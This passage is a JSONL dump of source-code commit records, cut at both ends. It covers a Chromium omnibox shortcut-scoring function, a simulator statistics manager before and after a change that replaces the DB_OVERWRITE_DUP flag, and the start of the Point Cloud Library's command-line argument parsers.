original_matches;\n\n  ACMatchClassifications output;\n  for (ACMatchClassifications::const_iterator i = original_matches.begin(),\n       j = matches.begin(); i != original_matches.end();) {\n    shortcuts_provider::AddLastMatchIfNeeded(&output,\n                                             std::max(i->offset, j->offset),\n                                             i->style | j->style);\n    if ((j + 1) == matches.end() || (((i + 1) != original_matches.end()) &&\n        ((j + 1)->offset > (i + 1)->offset)))\n      ++i;\n    else\n      ++j;\n  }\n\n  return output;\n}\n\nShortcutMap::const_iterator ShortcutsProvider::FindFirstMatch(\n    const string16& keyword) {\n  ShortcutMap::const_iterator it =\n      shortcuts_backend_->shortcuts_map().lower_bound(keyword);\n  \/\/ Lower bound not necessarily matches the keyword, check for item pointed by\n  \/\/ the lower bound iterator to at least start with keyword.\n  return ((it == shortcuts_backend_->shortcuts_map().end()) ||\n    StartsWith(it->first, keyword, true)) ? it :\n    shortcuts_backend_->shortcuts_map().end();\n}\n\n\/\/ static\nint ShortcutsProvider::CalculateScore(const string16& terms,\n                                      const Shortcut& shortcut) {\n  DCHECK(!terms.empty());\n  DCHECK_LE(terms.length(), shortcut.text.length());\n\n  \/\/ The initial score is based on how much of the shortcut the user has typed.\n  double base_score = GetMaxScore() * static_cast<double>(terms.length()) \/\n      shortcut.text.length();\n\n  \/\/ Then we decay this by half each week.\n  const double kLn2 = 0.6931471805599453;\n  base::TimeDelta time_passed = base::Time::Now() - shortcut.last_access_time;\n  \/\/ Clamp to 0 in case time jumps backwards (e.g. due to DST).\n  double decay_exponent = std::max(0.0, kLn2 * static_cast<double>(\n      time_passed.InMicroseconds()) \/ base::Time::kMicrosecondsPerWeek);\n\n  \/\/ We modulate the decay factor based on how many times the shortcut has been\n  \/\/ used. Newly created shortcuts decay at full speed; otherwise, decaying by\n  \/\/ half takes |n| times as much time, where n increases by\n  \/\/ (1.0 \/ each 5 additional hits), up to a maximum of 5x as long.\n  const double kMaxDecaySpeedDivisor = 5.0;\n  const double kNumUsesPerDecaySpeedDivisorIncrement = 5.0;\n  double decay_divisor = std::min(kMaxDecaySpeedDivisor,\n      (shortcut.number_of_hits + kNumUsesPerDecaySpeedDivisorIncrement - 1) \/\n      kNumUsesPerDecaySpeedDivisorIncrement);\n\n  return static_cast<int>((base_score \/ exp(decay_exponent \/ decay_divisor)) +\n      0.5);\n}\n\nvoid ShortcutsProvider::set_shortcuts_backend(\n    history::ShortcutsBackend* shortcuts_backend) {\n  DCHECK(shortcuts_backend);\n  shortcuts_backend_ = shortcuts_backend;\n  shortcuts_backend_->AddObserver(this);\n  if (shortcuts_backend_->initialized())\n    initialized_ = true;\n}\n\n<|endoftext|>"}
{"text":"<commit_before>#include \"stats.h\"\n#include \"simulator.h\"\n#include \"hooks_manager.h\"\n#include \"utils.h\"\n#include \"itostr.h\"\n\n#include <math.h>\n#include <stdio.h>\n#include <sstream>\n#include <unordered_set>\n#include <string>\n#include <cstring>\n#include <db.h>\n#include <zlib.h>\n\ntemplate <> UInt64 makeStatsValue<UInt64>(UInt64 t) { return t; }\ntemplate <> UInt64 makeStatsValue<SubsecondTime>(SubsecondTime t) { return t.getFS(); }\ntemplate <> UInt64 makeStatsValue<ComponentTime>(ComponentTime t) { return t.getElapsedTime().getFS(); }\n\nStatsManager::StatsManager()\n   : m_keyid(0)\n   , m_prefixnum(0)\n   , m_db(NULL)\n{\n}\n\nStatsManager::~StatsManager()\n{\n   if (m_db)\n      m_db->close(m_db, 0);\n}\n\nvoid\nStatsManager::init()\n{\n   String filename = Sim()->getConfig()->formatOutputFileName(\"sim.stats.db\");\n   int ret;\n\n   ret = db_create(&m_db, NULL, 0);\n   LOG_ASSERT_ERROR(ret == 0, \"Cannot create DB\");\n\n   ret = m_db->open(m_db, NULL, filename.c_str(), NULL, DB_HASH, DB_CREATE | DB_TRUNCATE, 0);\n   LOG_ASSERT_ERROR(ret == 0, \"Cannot create DB\");\n\n   recordStatsBase();\n}\n\nclass StatStream\n{\n   private:\n      std::stringstream value;\n      z_stream zstream;\n      static const size_t chunksize = 64*1024;\n      static const int level = 9;\n      char buffer[chunksize];\n\n      void write(const char* data, size_t size)\n      {\n         zstream.next_in = (Bytef*)data;\n         zstream.avail_in = size;\n         doCompress(false);\n      }\n      void doCompress(bool finish)\n      {\n         int ret;\n         do\n         {\n            zstream.next_out = (Bytef*)buffer;\n            zstream.avail_out = chunksize;\n            ret = deflate(&zstream, finish ? Z_FINISH : Z_NO_FLUSH);\n            assert(ret != Z_STREAM_ERROR);\n            value.write(buffer, chunksize - zstream.avail_out);\n         }\n         while(zstream.avail_out == 0);\n         assert(zstream.avail_in == 0);     \/* all input will be used *\/\n         if (finish)\n            assert(ret == Z_STREAM_END);\n      }\n\n   public:\n      StatStream()\n      {\n         zstream.zalloc = Z_NULL;\n         zstream.zfree = Z_NULL;\n         zstream.opaque = Z_NULL;\n         int ret = deflateInit(&zstream, level);\n         assert(ret == Z_OK);\n      }\n      void writeInt32(SInt32 value)\n      {\n         this->write((const char*)&value, sizeof(value));\n      }\n      void writeUInt64(UInt64 value)\n      {\n         this->write((const char*)&value, sizeof(value));\n      }\n      void writeString(std::string value)\n      {\n         this->writeInt32(value.size());\n         this->write(value.c_str(), value.size());\n      }\n      void writeString(String value)\n      {\n         this->writeInt32(value.size());\n         this->write(value.c_str(), value.size());\n      }\n      std::string str()\n      {\n         doCompress(true);\n         return value.str();\n      }\n};\n\nvoid\nStatsManager::recordStats(String prefix)\n{\n   LOG_ASSERT_ERROR(m_db, \"m_db not yet set up !?\");\n\n   \/\/ Allow lazily-maintained statistics to be updated\n   Sim()->getHooksManager()->callHooks(HookType::HOOK_PRE_STAT_WRITE, 0);\n\n   StatStream data;\n   data.writeInt32(m_prefixnum++);\n\n   for(StatsObjectList::iterator it1 = m_objects.begin(); it1 != m_objects.end(); ++it1)\n   {\n      for (StatsMetricList::iterator it2 = it1->second.begin(); it2 != it1->second.end(); ++it2)\n      {\n         data.writeInt32(it2->second.first); \/\/ Metric ID\n         for(StatsIndexList::iterator it3 = it2->second.second.begin(); it3 != it2->second.second.end(); ++it3)\n         {\n            if (!it3->second->isDefault())\n            {\n               data.writeInt32(it3->second->index);\n               data.writeUInt64(it3->second->recordMetric());\n            }\n         }\n         data.writeInt32(-12345); \/\/ Last\n      }\n   }\n\n   db_write(std::string(\"d\") + prefix.c_str(), data.str());\n}\n\nvoid\nStatsManager::recordStatsBase()\n{\n   StatStream s;\n\n   \/\/ Record all possible parameters without any actual statistics\n   for(StatsObjectList::iterator it1 = m_objects.begin(); it1 != m_objects.end(); ++it1)\n   {\n      for (StatsMetricList::iterator it2 = it1->second.begin(); it2 != it1->second.end(); ++it2)\n      {\n         s.writeInt32(it2->second.first);    \/\/ Metric ID\n         s.writeString(it1->first);          \/\/ Object name\n         s.writeString(it2->first);          \/\/ Metric name\n      }\n   }\n\n   db_write(std::string(\"k\"), s.str());\n}\n\nvoid\nStatsManager::db_write(std::string key, std::string data)\n{\n   DBT _key, _data;\n   memset(&_key, 0, sizeof(DBT));\n   memset(&_data, 0, sizeof(DBT));\n\n   _key.data = (void*)key.c_str();\n   _key.size = key.size();\n\n   _data.data = (void*)data.c_str();\n   _data.size = data.size();\n\n   int res = m_db->put(m_db, NULL, &_key, &_data, DB_OVERWRITE_DUP);\n   LOG_ASSERT_ERROR(res == 0, \"Error when writing stats\");\n   m_db->sync(m_db, 0);\n}\n\nvoid\nStatsManager::registerMetric(StatsMetricBase *metric)\n{\n   std::string _objectName(metric->objectName.c_str()), _metricName(metric->metricName.c_str());\n   m_objects[_objectName][_metricName].second[metric->index] = metric;\n   if (m_objects[_objectName][_metricName].first == 0)\n   {\n      m_objects[_objectName][_metricName].first = ++m_keyid;\n      if (m_db)\n      {\n         \/\/ Metrics name record was already written, but a new metric was registered afterwards: write a new record\n         recordStatsBase();\n      }\n   }\n}\n\nStatsMetricBase *\nStatsManager::getMetricObject(String objectName, UInt32 index, String metricName)\n{\n   std::string _objectName(objectName.c_str()), _metricName(metricName.c_str());\n   if (m_objects.count(_objectName) == 0)\n      return NULL;\n   if (m_objects[_objectName].count(_metricName) == 0)\n      return NULL;\n   if (m_objects[_objectName][_metricName].second.count(index) == 0)\n      return NULL;\n   return m_objects[_objectName][_metricName].second[index];\n}\n\n\nStatHist &\nStatHist::operator += (StatHist & stat)\n{\n   if (n == 0) { min = stat.min; max = stat.max; }\n   n += stat.n;\n   s += stat.s;\n   s2 += stat.s2;\n   if (stat.n && stat.min < min) min = stat.min;\n   if (stat.n && stat.max > max) max = stat.max;\n   for(int i = 0; i < HIST_MAX; ++i)\n      hist[i] += stat.hist[i];\n   return *this;\n}\n\nvoid\nStatHist::update(unsigned long v)\n{\n   if (n == 0) {\n      min = v;\n      max = v;\n   }\n   n++;\n   s += v;\n   s2 += v*v;\n   if (v < min) min = v;\n   if (v > max) max = v;\n   int bin = floorLog2(v) + 1;\n   if (bin >= HIST_MAX) bin = HIST_MAX - 1;\n      hist[bin]++;\n}\n\nvoid\nStatHist::print()\n{\n   printf(\"n(%lu), avg(%.2f), std(%.2f), min(%lu), max(%lu), hist(%lu\",\n      n, n ? s\/float(n) : 0, n ? sqrt((s2\/n - (s\/n)*(s\/n))*n\/float(n-1)) : 0, min, max, hist[0]);\n   for(int i = 1; i < HIST_MAX; ++i)\n      printf(\",%lu\", hist[i]);\n   printf(\")\\n\");\n}\n<commit_msg>[PATCH 54\/85] [stats] Avoid using DB_OVERWRITE_DUP flag which isn't widely supported<commit_after>#include \"stats.h\"\n#include \"simulator.h\"\n#include \"hooks_manager.h\"\n#include \"utils.h\"\n#include \"itostr.h\"\n\n#include <math.h>\n#include <stdio.h>\n#include <sstream>\n#include <unordered_set>\n#include <string>\n#include <cstring>\n#include <db.h>\n#include <zlib.h>\n\ntemplate <> UInt64 makeStatsValue<UInt64>(UInt64 t) { return t; }\ntemplate <> UInt64 makeStatsValue<SubsecondTime>(SubsecondTime t) { return t.getFS(); }\ntemplate <> UInt64 makeStatsValue<ComponentTime>(ComponentTime t) { return t.getElapsedTime().getFS(); }\n\nStatsManager::StatsManager()\n   : m_keyid(0)\n   , m_prefixnum(0)\n   , m_db(NULL)\n{\n}\n\nStatsManager::~StatsManager()\n{\n   if (m_db)\n      m_db->close(m_db, 0);\n}\n\nvoid\nStatsManager::init()\n{\n   String filename = Sim()->getConfig()->formatOutputFileName(\"sim.stats.db\");\n   int ret;\n\n   ret = db_create(&m_db, NULL, 0);\n   LOG_ASSERT_ERROR(ret == 0, \"Cannot create DB\");\n\n   ret = m_db->open(m_db, NULL, filename.c_str(), NULL, DB_HASH, DB_CREATE | DB_TRUNCATE, 0);\n   LOG_ASSERT_ERROR(ret == 0, \"Cannot create DB\");\n\n   recordStatsBase();\n}\n\nclass StatStream\n{\n   private:\n      std::stringstream value;\n      z_stream zstream;\n      static const size_t chunksize = 64*1024;\n      static const int level = 9;\n      char buffer[chunksize];\n\n      void write(const char* data, size_t size)\n      {\n         zstream.next_in = (Bytef*)data;\n         zstream.avail_in = size;\n         doCompress(false);\n      }\n      void doCompress(bool finish)\n      {\n         int ret;\n         do\n         {\n            zstream.next_out = (Bytef*)buffer;\n            zstream.avail_out = chunksize;\n            ret = deflate(&zstream, finish ? Z_FINISH : Z_NO_FLUSH);\n            assert(ret != Z_STREAM_ERROR);\n            value.write(buffer, chunksize - zstream.avail_out);\n         }\n         while(zstream.avail_out == 0);\n         assert(zstream.avail_in == 0);     \/* all input will be used *\/\n         if (finish)\n            assert(ret == Z_STREAM_END);\n      }\n\n   public:\n      StatStream()\n      {\n         zstream.zalloc = Z_NULL;\n         zstream.zfree = Z_NULL;\n         zstream.opaque = Z_NULL;\n         int ret = deflateInit(&zstream, level);\n         assert(ret == Z_OK);\n      }\n      void writeInt32(SInt32 value)\n      {\n         this->write((const char*)&value, sizeof(value));\n      }\n      void writeUInt64(UInt64 value)\n      {\n         this->write((const char*)&value, sizeof(value));\n      }\n      void writeString(std::string value)\n      {\n         this->writeInt32(value.size());\n         this->write(value.c_str(), value.size());\n      }\n      void writeString(String value)\n      {\n         this->writeInt32(value.size());\n         this->write(value.c_str(), value.size());\n      }\n      std::string str()\n      {\n         doCompress(true);\n         return value.str();\n      }\n};\n\nvoid\nStatsManager::recordStats(String prefix)\n{\n   LOG_ASSERT_ERROR(m_db, \"m_db not yet set up !?\");\n\n   \/\/ Allow lazily-maintained statistics to be updated\n   Sim()->getHooksManager()->callHooks(HookType::HOOK_PRE_STAT_WRITE, 0);\n\n   StatStream data;\n   data.writeInt32(m_prefixnum++);\n\n   for(StatsObjectList::iterator it1 = m_objects.begin(); it1 != m_objects.end(); ++it1)\n   {\n      for (StatsMetricList::iterator it2 = it1->second.begin(); it2 != it1->second.end(); ++it2)\n      {\n         data.writeInt32(it2->second.first); \/\/ Metric ID\n         for(StatsIndexList::iterator it3 = it2->second.second.begin(); it3 != it2->second.second.end(); ++it3)\n         {\n            if (!it3->second->isDefault())\n            {\n               data.writeInt32(it3->second->index);\n               data.writeUInt64(it3->second->recordMetric());\n            }\n         }\n         data.writeInt32(-12345); \/\/ Last\n      }\n   }\n\n   db_write(std::string(\"d\") + prefix.c_str(), data.str());\n}\n\nvoid\nStatsManager::recordStatsBase()\n{\n   StatStream s;\n\n   \/\/ Record all possible parameters without any actual statistics\n   for(StatsObjectList::iterator it1 = m_objects.begin(); it1 != m_objects.end(); ++it1)\n   {\n      for (StatsMetricList::iterator it2 = it1->second.begin(); it2 != it1->second.end(); ++it2)\n      {\n         s.writeInt32(it2->second.first);    \/\/ Metric ID\n         s.writeString(it1->first);          \/\/ Object name\n         s.writeString(it2->first);          \/\/ Metric name\n      }\n   }\n\n   db_write(std::string(\"k\"), s.str());\n}\n\nvoid\nStatsManager::db_write(std::string key, std::string data)\n{\n   DBT _key, _data;\n   memset(&_key, 0, sizeof(DBT));\n   memset(&_data, 0, sizeof(DBT));\n\n   _key.data = (void*)key.c_str();\n   _key.size = key.size();\n\n   _data.data = (void*)data.c_str();\n   _data.size = data.size();\n\n   m_db->del(m_db, NULL, &_key, NULL); \/\/ Remove previous verion, if any\n   int res = m_db->put(m_db, NULL, &_key, &_data, NULL);\n   LOG_ASSERT_ERROR(res == 0, \"Error when writing stats\");\n   m_db->sync(m_db, 0);\n}\n\nvoid\nStatsManager::registerMetric(StatsMetricBase *metric)\n{\n   std::string _objectName(metric->objectName.c_str()), _metricName(metric->metricName.c_str());\n   m_objects[_objectName][_metricName].second[metric->index] = metric;\n   if (m_objects[_objectName][_metricName].first == 0)\n   {\n      m_objects[_objectName][_metricName].first = ++m_keyid;\n      if (m_db)\n      {\n         \/\/ Metrics name record was already written, but a new metric was registered afterwards: write a new record\n         recordStatsBase();\n      }\n   }\n}\n\nStatsMetricBase *\nStatsManager::getMetricObject(String objectName, UInt32 index, String metricName)\n{\n   std::string _objectName(objectName.c_str()), _metricName(metricName.c_str());\n   if (m_objects.count(_objectName) == 0)\n      return NULL;\n   if (m_objects[_objectName].count(_metricName) == 0)\n      return NULL;\n   if (m_objects[_objectName][_metricName].second.count(index) == 0)\n      return NULL;\n   return m_objects[_objectName][_metricName].second[index];\n}\n\n\nStatHist &\nStatHist::operator += (StatHist & stat)\n{\n   if (n == 0) { min = stat.min; max = stat.max; }\n   n += stat.n;\n   s += stat.s;\n   s2 += stat.s2;\n   if (stat.n && stat.min < min) min = stat.min;\n   if (stat.n && stat.max > max) max = stat.max;\n   for(int i = 0; i < HIST_MAX; ++i)\n      hist[i] += stat.hist[i];\n   return *this;\n}\n\nvoid\nStatHist::update(unsigned long v)\n{\n   if (n == 0) {\n      min = v;\n      max = v;\n   }\n   n++;\n   s += v;\n   s2 += v*v;\n   if (v < min) min = v;\n   if (v > max) max = v;\n   int bin = floorLog2(v) + 1;\n   if (bin >= HIST_MAX) bin = HIST_MAX - 1;\n      hist[bin]++;\n}\n\nvoid\nStatHist::print()\n{\n   printf(\"n(%lu), avg(%.2f), std(%.2f), min(%lu), max(%lu), hist(%lu\",\n      n, n ? s\/float(n) : 0, n ? sqrt((s2\/n - (s\/n)*(s\/n))*n\/float(n-1)) : 0, min, max, hist[0]);\n   for(int i = 1; i < HIST_MAX; ++i)\n      printf(\",%lu\", hist[i]);\n   printf(\")\\n\");\n}\n<|endoftext|>"}
{"text":"<commit_before>\/*\n * Software License Agreement (BSD License)\n *\n *  Copyright (c) 2010, Willow Garage, Inc.\n *  All rights reserved.\n *\n *  Redistribution and use in source and binary forms, with or without\n *  modification, are permitted provided that the following conditions\n *  are met:\n *\n *   * Redistributions of source code must retain the above copyright\n *     notice, this list of conditions and the following disclaimer.\n *   * Redistributions in binary form must reproduce the above\n *     copyright notice, this list of conditions and the following\n *     disclaimer in the documentation and\/or other materials provided\n *     with the distribution.\n *   * Neither the name of Willow Garage, Inc. nor the names of its\n *     contributors may be used to endorse or promote products derived\n *     from this software without specific prior written permission.\n *\n *  THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS\n *  \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT\n *  LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS\n *  FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE\n *  COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT,\n *  INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING,\n *  BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;\n *  LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER\n *  CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT\n *  LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN\n *  ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE\n *  POSSIBILITY OF SUCH DAMAGE.\n *\n * $Id$\n *\n *\/\n\n#include <ctype.h>\n#include <stdio.h>\n#include <pcl\/console\/parse.h>\n#include <pcl\/console\/print.h>\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\nint \npcl::console::find_argument (int argc, char** argv, const char* argument_name)\n{\n  for (int i = 1; i < argc; ++i)\n  {\n    \/\/ Search for the string\n    if (strcmp (argv[i], argument_name) == 0)\n    {\n      return (i);\n    }\n  }\n  return (-1);\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\nint\npcl::console::parse_argument (int argc, char** argv, const char* str, std::string &val)\n{\n  int index = find_argument (argc, argv, str) + 1;\n  if (index > 0 && index < argc )\n    val = argv[index];\n\n  return index - 1;\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\nint\npcl::console::parse_argument (int argc, char** argv, const char* str, bool &val)\n{\n  int index = find_argument (argc, argv, str) + 1;\n\n  if (index > 0 && index < argc )\n    val = (bool)atoi (argv[index]);\n\n  return (index - 1);\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\nint\npcl::console::parse_argument (int argc, char** argv, const char* str, double &val)\n{\n  int index = find_argument (argc, argv, str) + 1;\n\n  if (index > 0 && index < argc )\n    val = atof (argv[index]);\n\n  return (index - 1);\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\nint\npcl::console::parse_argument (int argc, char** argv, const char* str, int &val)\n{\n  int index = find_argument (argc, argv, str) + 1;\n\n  if (index > 0 && index < argc )\n    val = atoi (argv[index]);\n\n  return (index);\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\nint\npcl::console::parse_argument (int argc, char** argv, const char* str, unsigned int &val)\n{\n  int index = find_argument (argc, argv, str) + 1;\n\n  if (index > 0 && index < argc )\n    val = atoi (argv[index]);\n\n  return (index - 1);\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\nstd::vector<int>\npcl::console::parse_file_extension_argument (int argc, char** argv, const std::string &extension)\n{\n  std::vector<int> indices;\n  for (int i = 1; i < argc; ++i)\n  {\n    std::string fname = std::string (argv[i]);\n    std::string ext = extension;\n\n    \/\/ Needs to be at least 4: .ext\n    if (fname.size () <= 4)\n      continue;\n\n    \/\/ For being case insensitive\n    std::transform (fname.begin (), fname.end (), fname.begin (), tolower);\n    std::transform (ext.begin (), ext.end (), ext.begin (), tolower);\n\n    \/\/ Check if found\n    std::string::size_type it;\n    if ((it = fname.find (ext)) != std::string::npos)\n    {\n      \/\/ Additional check: we want to be able to differentiate between .p and .png\n      if ((ext.size () - (fname.size () - it)) == 0)\n        indices.push_back (i);\n    }\n  }\n  return (indices);\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\nint\npcl::console::parse_2x_arguments (int argc, char** argv, const char* str, double &f, double &s, bool debug)\n{\n  for (int i = 1; i < argc; ++i)\n  {\n    \/\/ Search for the string\n    if ((strcmp (argv[i], str) == 0) && (++i < argc))\n    {\n      \/\/ look for ',' as a separator\n      std::vector<std::string> values;\n      boost::split (values, argv[i], boost::is_any_of (\",\"), boost::token_compress_on);\n      if (values.size () != 2 && debug)\n      {\n        print_error (\"[parse_2x_arguments] Number of values for %s (%d) different than 2!\\n\", str, (int)values.size ());\n        return (-2);\n      }\n      f = atof (values.at (0).c_str ());\n      s = atof (values.at (1).c_str ());\n      return (i - 1);\n    }\n  }\n  return (-1);\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\nint\npcl::console::parse_2x_arguments (int argc, char** argv, const char* str, int &f, int &s, bool debug)\n{\n  for (int i = 1; i < argc; ++i)\n  {\n    \/\/ Search for the string\n    if ((strcmp (argv[i], str) == 0) && (++i < argc))\n    {\n      \/\/ look for ',' as a separator\n      std::vector<std::string> values;\n      boost::split (values, argv[i], boost::is_any_of (\",\"), boost::token_compress_on);\n      if (values.size () != 2 && debug)\n      {\n        print_error (\"[parse_2x_arguments] Number of values for %s (%d) different than 2!\\n\", str, (int)values.size ());\n        return (-2);\n      }\n      f = atoi (values.at (0).c_str ());\n      s = atoi (values.at (1).c_str ());\n      return (i - 1);\n    }\n  }\n  return (-1);\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\nint\npcl::console::parse_3x_arguments (int argc, char** argv, const char* str, double &f, double &s, double &t, bool debug)\n{\n  for (int i = 1; i < argc; ++i)\n  {\n    \/\/ Search for the string\n    if ((strcmp (argv[i], str) == 0) && (++i < argc))\n    {\n      \/\/ look for ',' as a separator\n      std::vector<std::string> values;\n      boost::split (values, argv[i], boost::is_any_of (\",\"), boost::token_compress_on);\n      if (values.size () != 3 && debug)\n      {\n        print_error (\"[parse_3x_arguments] Number of values for %s (%d) different than 3!\\n\", str, (int)values.size ());\n        return (-2);\n      }\n      f = atof (values.at (0).c_str ());\n      s = atof (values.at (1).c_str ());\n      t = atof (values.at (2).c_str ());\n      return (i - 1);\n    }\n  }\n  return (-1);\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\nint\npcl::console::parse_3x_arguments (int argc, char** argv, const char* str, int &f, int &s, int &t, bool debug)\n{\n  for (int i = 1; i < argc; ++i)\n  {\n    \/\/ Search for the string\n    if ((strcmp (argv[i], str) == 0) && (++i < argc))\n    {\n      \/\/ look for ',' as a separator\n      std::vector<std::string> values;\n      boost::split (values, argv[i], boost::is_any_of (\",\"), boost::token_compress_on);\n      if (values.size () != 3 && debug)\n      {\n        print_error (\"[parse_3x_arguments] Number of values for %s (%d) different than 3!\\n\", str, (int)values.size ());\n        return (-2);\n      }\n      f = atoi (values.at (0).c_str ());\n      s = atoi (values.at (1).c_str ());\n      t = atoi (values.at (2).c_str ());\n      return (i - 1);\n    }\n  }\n  return (-1);\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\nint\npcl::console::parse_x_arguments (int argc, char** argv, const char* str, std::vector<double>& v, bool debug)\n{\n  for (int i = 1; i < argc; ++i)\n  {\n    \/\/ Search for the string\n    if ((strcmp (argv[i], str) == 0) && (++i < argc))\n    {\n      \/\/ look for ',' as a separator\n      std::vector<std::string> values;\n      boost::split (values, argv[i], boost::is_any_of (\",\"), boost::token_compress_on);\n\n      v.resize (values.size ());\n      for (size_t j = 0; j < v.size (); ++j)\n        v[j] = atof (values.at (j).c_str ());\n\n      return (i - 1);\n    }\n  }\n  return (-1);\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\nint\npcl::console::parse_x_arguments (int argc, char** argv, const char* str, std::vector<int>& v, bool debug)\n{\n  for (int i = 1; i < argc; ++i)\n  {\n    \/\/ Search for the string\n    if ((strcmp (argv[i], str) == 0) && (++i < argc))\n    {\n      \/\/ look for ',' as a separator\n      std::vector<std::string> values;\n      boost::split (values, argv[i], boost::is_any_of (\",\"), boost::token_compress_on);\n\n      v.resize (values.size ());\n      for (size_t j = 0; j < v.size (); ++j)\n        v[j] = atoi (values.at (j).c_str ());\n\n      return (i - 1);\n    }\n  }\n  return (-1);\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\nbool\npcl::console::parse_multiple_arguments (int argc, char** argv, const char* str, std::vector<int> &values)\n{\n  for (int i = 1; i < argc; ++i)\n  {\n    \/\/ Search for the string\n    if ((strcmp (argv[i], str) == 0) && (++i < argc))\n    {\n      int val = atoi (argv[i]);\n      values.push_back (val);\n    }\n  }\n  if (values.size () == 0)\n    return (false);\n  else\n    return (true);\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\nbool\npcl::console::parse_multiple_arguments (int argc, char** argv, const char* str, std::vector<double> &values)\n{\n  for (int i = 1; i < argc; ++i)\n  {\n    \/\/ Search for the string\n    if ((strcmp (argv[i], str) == 0) && (++i < argc))\n    {\n      double val = atof (argv[i]);\n      values.push_back (val);\n    }\n  }\n  if 